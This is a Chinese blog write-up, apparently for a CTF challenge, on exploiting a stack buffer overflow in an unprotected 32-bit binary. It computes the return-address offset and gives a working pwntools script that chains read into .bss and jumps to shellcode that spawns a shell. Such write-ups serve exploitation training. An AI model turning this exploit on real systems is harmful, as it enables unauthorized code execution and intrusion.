stack_shellcode

分析

先看文件信息,再查保护

img-pkX69O4H-1596251795285

32位,动态链接,啥保护也没有,简单到无语了

放ida,F5查伪C

image.png

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UIJQbWAW-1596251795297)()]

dest的数据类型是char,占1个字节,memcpy却复制了0xC8u(十进制:200)个字节到dest,存在明显的栈溢出

利用

思路

该程序用到了read函数,那么我们可以从rop直接调用read,从标准输入写入我们的payload,然后call我们的payload拿shell

从ida中可以看出变量dest到ebp的偏移量为6Ch,ebp的长度为4h,所以deal_user_info函数的ReturnAddress为6Ch+4h=70h,即112

也可以用gdb-pattern计算

在这里插入图片描述

除了偏移量,我们还需要一个地址来保存我们的read
Shift+F7查.bss段的地址(0804A040)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-l16l8Npk-1596251795306)()]

Exp


    from pwn import *
	
	proc = './a'
	io = process(proc)
	
	bss_addr = 0x0804A040 
	
	context.binary = proc
	shellcode = asm(shellcraft.sh())
	
	rop = ROP(proc)
	rop.read(0,bss_addr + 0x100,len(shellcode))
	rop.call(bss_addr + 0x100)
	
	io.recvuntil('\n')
	io.sendline('a' * 112 + str(rop))
	io.sendline(shellcode)

	io.interactive()
	

交互

img-qEAnmNNE-1596251795306

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

正崽不emo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值